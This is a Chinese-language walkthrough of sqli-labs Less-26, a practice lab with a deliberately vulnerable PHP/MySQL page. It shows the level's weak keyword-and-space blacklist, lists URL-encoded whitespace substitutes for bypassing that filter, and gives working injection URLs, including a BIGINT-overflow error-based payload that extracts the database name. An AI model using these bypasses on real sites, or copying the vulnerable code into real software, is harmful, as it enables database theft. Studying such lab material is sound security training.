关键代码
function blacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[/*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[s]/',"", $id); //Strip out spaces $id= preg_replace('/[/\\]/',"", $id); //Strip out slashes return $id; } $id=$_GET['id']; $id= blacklist($id); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; print_r(mysql_error());
本关结合25关,将空格,or,and,/*,#,--,/等各种符号过滤,此处对于and,or的处理方法不再赘述,参考less25。此处我们需要说明两方面:对于注释和结尾字符的绕过,我们此处只能利用构造一个 ' 来闭合后面到 ' ;对于空格,有较多的方法:
- %09 TAB键(水平)
- %0a 新建一行
- %0c 新的一页
- %0d return功能
- %0b TAB键(垂直)
- %a0 空格
本关sql语句为SELECT * FROM users WHERE id='$id' LIMIT 0,1
我们首先给出一个最为简单的payload:
http://127.0.0.1/sql/Less-26/index.php?id=1'%a0||%a0'1
此时sql语句为SELECT * FROM users WHERE id='1' || '1' LIMIT 0,1
第一个 ' 首先闭合id='$id' 中的',%a0是空格的意思,同时%0b等其他的空格绕过方法也是可以通过测试的。||是或者的意思,'1则是为了闭合后面的 ' 。
本关可以使用报错注入、延时注入等方法,下面演示一下基于BIGINT溢出的报错注入。
爆当前数据库
http://127.0.0.1/sql/Less-26/?id=1' union select (!(select * from (select database())x) - ~0),2,3 || '1
将空格用%a0代替
http://127.0.0.1/sql/Less-26/?id=1'%a0union%a0select%a0(!(select%a0*%a0from%a0(select%a0database())x)%a0-%a0~0),2,3%a0||%a0'1
接下来只不要更改sql语句即可。按照我们前面所介绍的方法即可。这里就不进行一一的演示了。
TIPS:本关可能有的朋友在windows下无法使用一些特殊的字符代替空格,此处是因为apache的解析的问题,这里请更换到linux平台下。